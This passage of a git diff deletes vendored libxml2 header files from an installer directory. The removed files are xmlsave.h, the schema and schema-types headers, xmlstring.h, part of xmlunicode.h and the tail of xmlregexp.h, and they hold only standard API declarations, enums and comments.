XMLCALL - xmlExpNewSeq (xmlExpCtxtPtr ctxt, - xmlExpNodePtr left, - xmlExpNodePtr right); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewRange (xmlExpCtxtPtr ctxt, - xmlExpNodePtr subset, - int min, - int max); -/* - * The really interesting APIs - */ -XMLPUBFUN int XMLCALL - xmlExpIsNillable(xmlExpNodePtr expr); -XMLPUBFUN int XMLCALL - xmlExpMaxToken (xmlExpNodePtr expr); -XMLPUBFUN int XMLCALL - xmlExpGetLanguage(xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar**langList, - int len); -XMLPUBFUN int XMLCALL - xmlExpGetStart (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar**tokList, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpStringDerive(xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar *str, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpExpDerive (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - xmlExpNodePtr sub); -XMLPUBFUN int XMLCALL - xmlExpSubsume (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - xmlExpNodePtr sub); -XMLPUBFUN void XMLCALL - xmlExpDump (xmlBufferPtr buf, - xmlExpNodePtr expr); -#endif /* LIBXML_EXPR_ENABLED */ -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_REGEXP_ENABLED */ - -#endif /*__XML_REGEXP_H__ */ diff --git a/installer/libxml2/include/libxml/xmlsave.h b/installer/libxml2/include/libxml/xmlsave.h deleted file mode 100644 index fb329b2..0000000 --- a/installer/libxml2/include/libxml/xmlsave.h +++ /dev/null @@ -1,88 +0,0 @@ -/* - * Summary: the XML document serializer - * Description: API to save document or subtree of document - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XMLSAVE_H__ -#define __XML_XMLSAVE_H__ - -#include -#include -#include -#include - -#ifdef LIBXML_OUTPUT_ENABLED -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlSaveOption: - * - * This is the set of XML save options that can be passed down - * to the xmlSaveToFd() and similar calls. - */ -typedef enum { - XML_SAVE_FORMAT = 1<<0, /* format save output */ - XML_SAVE_NO_DECL = 1<<1, /* drop the xml declaration */ - XML_SAVE_NO_EMPTY = 1<<2, /* no empty tags */ - XML_SAVE_NO_XHTML = 1<<3, /* disable XHTML1 specific rules */ - XML_SAVE_XHTML = 1<<4, /* force XHTML1 specific rules */ - XML_SAVE_AS_XML = 1<<5, /* force XML serialization on HTML doc */ - XML_SAVE_AS_HTML = 1<<6, /* force HTML serialization on XML doc */ - XML_SAVE_WSNONSIG = 1<<7 /* format with non-significant whitespace */ -} xmlSaveOption; - - -typedef struct _xmlSaveCtxt xmlSaveCtxt; -typedef xmlSaveCtxt *xmlSaveCtxtPtr; - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToFd (int fd, - const char *encoding, - int options); -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToFilename (const char *filename, - const char *encoding, - int options); - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToBuffer (xmlBufferPtr buffer, - const char *encoding, - int options); - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToIO (xmlOutputWriteCallback iowrite, - xmlOutputCloseCallback ioclose, - void *ioctx, - const char *encoding, - int options); - -XMLPUBFUN long XMLCALL - xmlSaveDoc (xmlSaveCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN long XMLCALL - xmlSaveTree (xmlSaveCtxtPtr ctxt, - xmlNodePtr node); - -XMLPUBFUN int XMLCALL - xmlSaveFlush (xmlSaveCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSaveClose (xmlSaveCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSaveSetEscape (xmlSaveCtxtPtr ctxt, - xmlCharEncodingOutputFunc escape); -XMLPUBFUN int XMLCALL - xmlSaveSetAttrEscape (xmlSaveCtxtPtr ctxt, - xmlCharEncodingOutputFunc escape); -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_OUTPUT_ENABLED */ -#endif /* __XML_XMLSAVE_H__ */ - - diff --git a/installer/libxml2/include/libxml/xmlschemas.h b/installer/libxml2/include/libxml/xmlschemas.h deleted file mode 100644 index 97930c7..0000000 --- a/installer/libxml2/include/libxml/xmlschemas.h +++ /dev/null @@ -1,246 +0,0 @@ -/* - * Summary: incomplete XML Schemas structure implementation - * Description: interface to the XML Schemas handling and schema validity - * checking, it is incomplete right now. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_H__ -#define __XML_SCHEMA_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * This error codes are obsolete; not used any more. - */ -typedef enum { - XML_SCHEMAS_ERR_OK = 0, - XML_SCHEMAS_ERR_NOROOT = 1, - XML_SCHEMAS_ERR_UNDECLAREDELEM, - XML_SCHEMAS_ERR_NOTTOPLEVEL, - XML_SCHEMAS_ERR_MISSING, - XML_SCHEMAS_ERR_WRONGELEM, - XML_SCHEMAS_ERR_NOTYPE, - XML_SCHEMAS_ERR_NOROLLBACK, - XML_SCHEMAS_ERR_ISABSTRACT, - XML_SCHEMAS_ERR_NOTEMPTY, - XML_SCHEMAS_ERR_ELEMCONT, - XML_SCHEMAS_ERR_HAVEDEFAULT, - XML_SCHEMAS_ERR_NOTNILLABLE, - XML_SCHEMAS_ERR_EXTRACONTENT, - XML_SCHEMAS_ERR_INVALIDATTR, - XML_SCHEMAS_ERR_INVALIDELEM, - XML_SCHEMAS_ERR_NOTDETERMINIST, - XML_SCHEMAS_ERR_CONSTRUCT, - XML_SCHEMAS_ERR_INTERNAL, - XML_SCHEMAS_ERR_NOTSIMPLE, - XML_SCHEMAS_ERR_ATTRUNKNOWN, - XML_SCHEMAS_ERR_ATTRINVALID, - XML_SCHEMAS_ERR_VALUE, - XML_SCHEMAS_ERR_FACET, - XML_SCHEMAS_ERR_, - XML_SCHEMAS_ERR_XXX -} xmlSchemaValidError; - -/* -* ATTENTION: Change xmlSchemaSetValidOptions's check -* for invalid values, if adding to the validation -* options below. -*/ -/** - * xmlSchemaValidOption: - * - * This is the set of XML Schema validation options. - */ -typedef enum { - XML_SCHEMA_VAL_VC_I_CREATE = 1<<0 - /* Default/fixed: create an attribute node - * or an element's text node on the instance. - */ -} xmlSchemaValidOption; - -/* - XML_SCHEMA_VAL_XSI_ASSEMBLE = 1<<1, - * assemble schemata using - * xsi:schemaLocation and - * xsi:noNamespaceSchemaLocation -*/ - -/** - * The schemas related types are kept internal - */ -typedef struct _xmlSchema xmlSchema; -typedef xmlSchema *xmlSchemaPtr; - -/** - * xmlSchemaValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from an XSD validation - */ -typedef void (XMLCDECL *xmlSchemaValidityErrorFunc) - (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlSchemaValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from an XSD validation - */ -typedef void (XMLCDECL *xmlSchemaValidityWarningFunc) - (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * A schemas validation context - */ -typedef struct _xmlSchemaParserCtxt xmlSchemaParserCtxt; -typedef xmlSchemaParserCtxt *xmlSchemaParserCtxtPtr; - -typedef struct _xmlSchemaValidCtxt xmlSchemaValidCtxt; -typedef xmlSchemaValidCtxt *xmlSchemaValidCtxtPtr; - -/** - * xmlSchemaValidityLocatorFunc: - * @ctx: user provided context - * @file: returned file information - * @line: returned line information - * - * A schemas validation locator, a callback called by the validator. - * This is used when file or node informations are not available - * to find out what file and line number are affected - * - * Returns: 0 in case of success and -1 in case of error - */ - -typedef int (XMLCDECL *xmlSchemaValidityLocatorFunc) (void *ctx, - const char **file, unsigned long *line); - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewParserCtxt (const char *URL); -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewMemParserCtxt (const char *buffer, - int size); -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewDocParserCtxt (xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSchemaFreeParserCtxt (xmlSchemaParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchemaSetParserErrors (xmlSchemaParserCtxtPtr ctxt, - xmlSchemaValidityErrorFunc err, - xmlSchemaValidityWarningFunc warn, - void *ctx); -XMLPUBFUN void XMLCALL - xmlSchemaSetParserStructuredErrors(xmlSchemaParserCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchemaGetParserErrors(xmlSchemaParserCtxtPtr ctxt, - xmlSchemaValidityErrorFunc * err, - xmlSchemaValidityWarningFunc * warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchemaIsValid (xmlSchemaValidCtxtPtr ctxt); - -XMLPUBFUN xmlSchemaPtr XMLCALL - xmlSchemaParse (xmlSchemaParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchemaFree (xmlSchemaPtr schema); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlSchemaDump (FILE *output, - xmlSchemaPtr schema); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlSchemaSetValidErrors (xmlSchemaValidCtxtPtr ctxt, - xmlSchemaValidityErrorFunc err, - xmlSchemaValidityWarningFunc warn, - void *ctx); -XMLPUBFUN void XMLCALL - xmlSchemaSetValidStructuredErrors(xmlSchemaValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchemaGetValidErrors (xmlSchemaValidCtxtPtr ctxt, - xmlSchemaValidityErrorFunc *err, - xmlSchemaValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchemaSetValidOptions (xmlSchemaValidCtxtPtr ctxt, - int options); -XMLPUBFUN void XMLCALL - xmlSchemaValidateSetFilename(xmlSchemaValidCtxtPtr vctxt, - const char *filename); -XMLPUBFUN int XMLCALL - xmlSchemaValidCtxtGetOptions(xmlSchemaValidCtxtPtr ctxt); - -XMLPUBFUN xmlSchemaValidCtxtPtr XMLCALL - xmlSchemaNewValidCtxt (xmlSchemaPtr schema); -XMLPUBFUN void XMLCALL - xmlSchemaFreeValidCtxt (xmlSchemaValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchemaValidateDoc (xmlSchemaValidCtxtPtr ctxt, - xmlDocPtr instance); -XMLPUBFUN int XMLCALL - xmlSchemaValidateOneElement (xmlSchemaValidCtxtPtr ctxt, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlSchemaValidateStream (xmlSchemaValidCtxtPtr ctxt, - xmlParserInputBufferPtr input, - xmlCharEncoding enc, - xmlSAXHandlerPtr sax, - void *user_data); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFile (xmlSchemaValidCtxtPtr ctxt, - const char * filename, - int options); - -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlSchemaValidCtxtGetParserCtxt(xmlSchemaValidCtxtPtr ctxt); - -/* - * Interface to insert Schemas SAX validation in a SAX stream - */ -typedef struct _xmlSchemaSAXPlug xmlSchemaSAXPlugStruct; -typedef xmlSchemaSAXPlugStruct *xmlSchemaSAXPlugPtr; - -XMLPUBFUN xmlSchemaSAXPlugPtr XMLCALL - xmlSchemaSAXPlug (xmlSchemaValidCtxtPtr ctxt, - xmlSAXHandlerPtr *sax, - void **user_data); -XMLPUBFUN int XMLCALL - xmlSchemaSAXUnplug (xmlSchemaSAXPlugPtr plug); - - -XMLPUBFUN void XMLCALL - xmlSchemaValidateSetLocator (xmlSchemaValidCtxtPtr vctxt, - xmlSchemaValidityLocatorFunc f, - void *ctxt); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlschemastypes.h b/installer/libxml2/include/libxml/xmlschemastypes.h deleted file mode 100644 index 35d48d4..0000000 --- a/installer/libxml2/include/libxml/xmlschemastypes.h +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Summary: implementation of XML Schema Datatypes - * Description: module providing the XML Schema Datatypes implementation - * both definition and validity checking - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_TYPES_H__ -#define __XML_SCHEMA_TYPES_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMA_WHITESPACE_UNKNOWN = 0, - XML_SCHEMA_WHITESPACE_PRESERVE = 1, - XML_SCHEMA_WHITESPACE_REPLACE = 2, - XML_SCHEMA_WHITESPACE_COLLAPSE = 3 -} xmlSchemaWhitespaceValueType; - -XMLPUBFUN void XMLCALL - xmlSchemaInitTypes (void); -XMLPUBFUN void XMLCALL - xmlSchemaCleanupTypes (void); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetPredefinedType (const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlSchemaValidatePredefinedType (xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val); -XMLPUBFUN int XMLCALL - xmlSchemaValPredefTypeNode (xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val, - xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFacet (xmlSchemaTypePtr base, - xmlSchemaFacetPtr facet, - const xmlChar *value, - xmlSchemaValPtr val); -XMLPUBFUN int XMLCALL - xmlSchemaValidateFacetWhtsp (xmlSchemaFacetPtr facet, - xmlSchemaWhitespaceValueType fws, - xmlSchemaValType valType, - const xmlChar *value, - xmlSchemaValPtr val, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN void XMLCALL - xmlSchemaFreeValue (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaFacetPtr XMLCALL - xmlSchemaNewFacet (void); -XMLPUBFUN int XMLCALL - xmlSchemaCheckFacet (xmlSchemaFacetPtr facet, - xmlSchemaTypePtr typeDecl, - xmlSchemaParserCtxtPtr ctxt, - const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlSchemaFreeFacet (xmlSchemaFacetPtr facet); -XMLPUBFUN int XMLCALL - xmlSchemaCompareValues (xmlSchemaValPtr x, - xmlSchemaValPtr y); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetBuiltInListSimpleTypeItemType (xmlSchemaTypePtr type); -XMLPUBFUN int XMLCALL - xmlSchemaValidateListSimpleTypeFacet (xmlSchemaFacetPtr facet, - const xmlChar *value, - unsigned long actualLen, - unsigned long *expectedLen); -XMLPUBFUN xmlSchemaTypePtr XMLCALL - xmlSchemaGetBuiltInType (xmlSchemaValType type); -XMLPUBFUN int XMLCALL - xmlSchemaIsBuiltInTypeFacet (xmlSchemaTypePtr type, - int facetType); -XMLPUBFUN xmlChar * XMLCALL - xmlSchemaCollapseString (const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlSchemaWhiteSpaceReplace (const xmlChar *value); -XMLPUBFUN unsigned long XMLCALL - xmlSchemaGetFacetValueAsULong (xmlSchemaFacetPtr facet); -XMLPUBFUN int XMLCALL - xmlSchemaValidateLengthFacet (xmlSchemaTypePtr type, - xmlSchemaFacetPtr facet, - const xmlChar *value, - xmlSchemaValPtr val, - unsigned long *length); -XMLPUBFUN int XMLCALL - xmlSchemaValidateLengthFacetWhtsp(xmlSchemaFacetPtr facet, - xmlSchemaValType valType, - const xmlChar *value, - xmlSchemaValPtr val, - unsigned long *length, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN int XMLCALL - xmlSchemaValPredefTypeNodeNoNorm(xmlSchemaTypePtr type, - const xmlChar *value, - xmlSchemaValPtr *val, - xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlSchemaGetCanonValue (xmlSchemaValPtr val, - const xmlChar **retValue); -XMLPUBFUN int XMLCALL - xmlSchemaGetCanonValueWhtsp (xmlSchemaValPtr val, - const xmlChar **retValue, - xmlSchemaWhitespaceValueType ws); -XMLPUBFUN int XMLCALL - xmlSchemaValueAppend (xmlSchemaValPtr prev, - xmlSchemaValPtr cur); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaValueGetNext (xmlSchemaValPtr cur); -XMLPUBFUN const xmlChar * XMLCALL - xmlSchemaValueGetAsString (xmlSchemaValPtr val); -XMLPUBFUN int XMLCALL - xmlSchemaValueGetAsBoolean (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewStringValue (xmlSchemaValType type, - const xmlChar *value); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewNOTATIONValue (const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaNewQNameValue (const xmlChar *namespaceName, - const xmlChar *localName); -XMLPUBFUN int XMLCALL - xmlSchemaCompareValuesWhtsp (xmlSchemaValPtr x, - xmlSchemaWhitespaceValueType xws, - xmlSchemaValPtr y, - xmlSchemaWhitespaceValueType yws); -XMLPUBFUN xmlSchemaValPtr XMLCALL - xmlSchemaCopyValue (xmlSchemaValPtr val); -XMLPUBFUN xmlSchemaValType XMLCALL - xmlSchemaGetValType (xmlSchemaValPtr val); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_TYPES_H__ */ diff --git a/installer/libxml2/include/libxml/xmlstring.h b/installer/libxml2/include/libxml/xmlstring.h deleted file mode 100644 index 2d0b2d1..0000000 --- a/installer/libxml2/include/libxml/xmlstring.h +++ /dev/null @@ -1,140 +0,0 @@ -/* - * Summary: set of routines to process strings - * Description: type and interfaces needed for the internal string handling - * of the library, especially UTF8 processing. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_STRING_H__ -#define __XML_STRING_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlChar: - * - * This is a basic byte in an UTF-8 encoded string. - * It's unsigned allowing to pinpoint case where char * are assigned - * to xmlChar * (possibly making serialization back impossible). - */ -typedef unsigned char xmlChar; - -/** - * BAD_CAST: - * - * Macro to cast a string to an xmlChar * when one know its safe. - */ -#define BAD_CAST (xmlChar *) - -/* - * xmlChar handling - */ -XMLPUBFUN xmlChar * XMLCALL - xmlStrdup (const xmlChar *cur); -XMLPUBFUN xmlChar * XMLCALL - xmlStrndup (const xmlChar *cur, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlCharStrndup (const char *cur, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlCharStrdup (const char *cur); -XMLPUBFUN xmlChar * XMLCALL - xmlStrsub (const xmlChar *str, - int start, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrchr (const xmlChar *str, - xmlChar val); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrstr (const xmlChar *str, - const xmlChar *val); -XMLPUBFUN const xmlChar * XMLCALL - xmlStrcasestr (const xmlChar *str, - const xmlChar *val); -XMLPUBFUN int XMLCALL - xmlStrcmp (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrncmp (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrcasecmp (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrncasecmp (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrEqual (const xmlChar *str1, - const xmlChar *str2); -XMLPUBFUN int XMLCALL - xmlStrQEqual (const xmlChar *pref, - const xmlChar *name, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlStrlen (const xmlChar *str); -XMLPUBFUN xmlChar * XMLCALL - xmlStrcat (xmlChar *cur, - const xmlChar *add); -XMLPUBFUN xmlChar * XMLCALL - xmlStrncat (xmlChar *cur, - const xmlChar *add, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlStrncatNew (const xmlChar *str1, - const xmlChar *str2, - int len); -XMLPUBFUN int XMLCALL - xmlStrPrintf (xmlChar *buf, - int len, - const char *msg, - ...) LIBXML_ATTR_FORMAT(3,4); -XMLPUBFUN int XMLCALL - xmlStrVPrintf (xmlChar *buf, - int len, - const char *msg, - va_list ap) LIBXML_ATTR_FORMAT(3,0); - -XMLPUBFUN int XMLCALL - xmlGetUTF8Char (const unsigned char *utf, - int *len); -XMLPUBFUN int XMLCALL - xmlCheckUTF8 (const unsigned char *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Strsize (const xmlChar *utf, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlUTF8Strndup (const xmlChar *utf, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlUTF8Strpos (const xmlChar *utf, - int pos); -XMLPUBFUN int XMLCALL - xmlUTF8Strloc (const xmlChar *utf, - const xmlChar *utfchar); -XMLPUBFUN xmlChar * XMLCALL - xmlUTF8Strsub (const xmlChar *utf, - int start, - int len); -XMLPUBFUN int XMLCALL - xmlUTF8Strlen (const xmlChar *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Size (const xmlChar *utf); -XMLPUBFUN int XMLCALL - xmlUTF8Charcmp (const xmlChar *utf1, - const xmlChar *utf2); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_STRING_H__ */ diff --git a/installer/libxml2/include/libxml/xmlunicode.h b/installer/libxml2/include/libxml/xmlunicode.h deleted file mode 100644 index 01ac8b6..0000000 --- a/installer/libxml2/include/libxml/xmlunicode.h +++ /dev/null @@ -1,202 +0,0 @@ -/* - * Summary: Unicode character APIs - * Description: API for the Unicode character APIs - * - * This file is automatically generated from the - * UCS description files of the Unicode Character Database - * http://www.unicode.org/Public/4.0-Update1/UCD-4.0.1.html - * using the genUnicode.py Python script. - * - * Generation date: Mon Mar 27 11:09:52 2006 - * Sources: Blocks-4.0.1.txt UnicodeData-4.0.1.txt - * Author: Daniel Veillard - */ - -#ifndef __XML_UNICODE_H__ -#define __XML_UNICODE_H__ - -#include - -#ifdef LIBXML_UNICODE_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN int XMLCALL xmlUCSIsAegeanNumbers (int code); -XMLPUBFUN int XMLCALL xmlUCSIsAlphabeticPresentationForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArmenian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsArrows (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBasicLatin (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBengali (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBlockElements (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBopomofo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBopomofoExtended (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBoxDrawing (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBraillePatterns (int code); -XMLPUBFUN int XMLCALL xmlUCSIsBuhid (int code); -XMLPUBFUN int XMLCALL xmlUCSIsByzantineMusicalSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibility (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKRadicalsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKSymbolsandPunctuation (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCherokee (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarks (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarksforSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningHalfMarks (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCombiningMarksforSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsControlPictures (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCurrencySymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCypriotSyllabary (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCyrillic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCyrillicSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDeseret (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDevanagari (int code); -XMLPUBFUN int XMLCALL xmlUCSIsDingbats (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEnclosedAlphanumerics (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEnclosedCJKLettersandMonths (int code); -XMLPUBFUN int XMLCALL xmlUCSIsEthiopic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeneralPunctuation (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeometricShapes (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGeorgian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGothic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreek (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreekExtended (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGreekandCoptic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGujarati (int code); -XMLPUBFUN int XMLCALL xmlUCSIsGurmukhi (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHalfwidthandFullwidthForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulCompatibilityJamo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulJamo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHangulSyllables (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHanunoo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHebrew (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHighPrivateUseSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHighSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsHiragana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsIPAExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsIdeographicDescriptionCharacters (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKanbun (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKangxiRadicals (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKannada (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKatakana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKatakanaPhoneticExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKhmer (int code); -XMLPUBFUN int XMLCALL xmlUCSIsKhmerSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLao (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatin1Supplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedAdditional (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLetterlikeSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLimbu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLinearBIdeograms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLinearBSyllabary (int code); -XMLPUBFUN int XMLCALL xmlUCSIsLowSurrogates (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMalayalam (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMathematicalAlphanumericSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMathematicalOperators (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbolsandArrows (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousTechnical (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMongolian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMusicalSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsMyanmar (int code); -XMLPUBFUN int XMLCALL xmlUCSIsNumberForms (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOgham (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOldItalic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOpticalCharacterRecognition (int code); 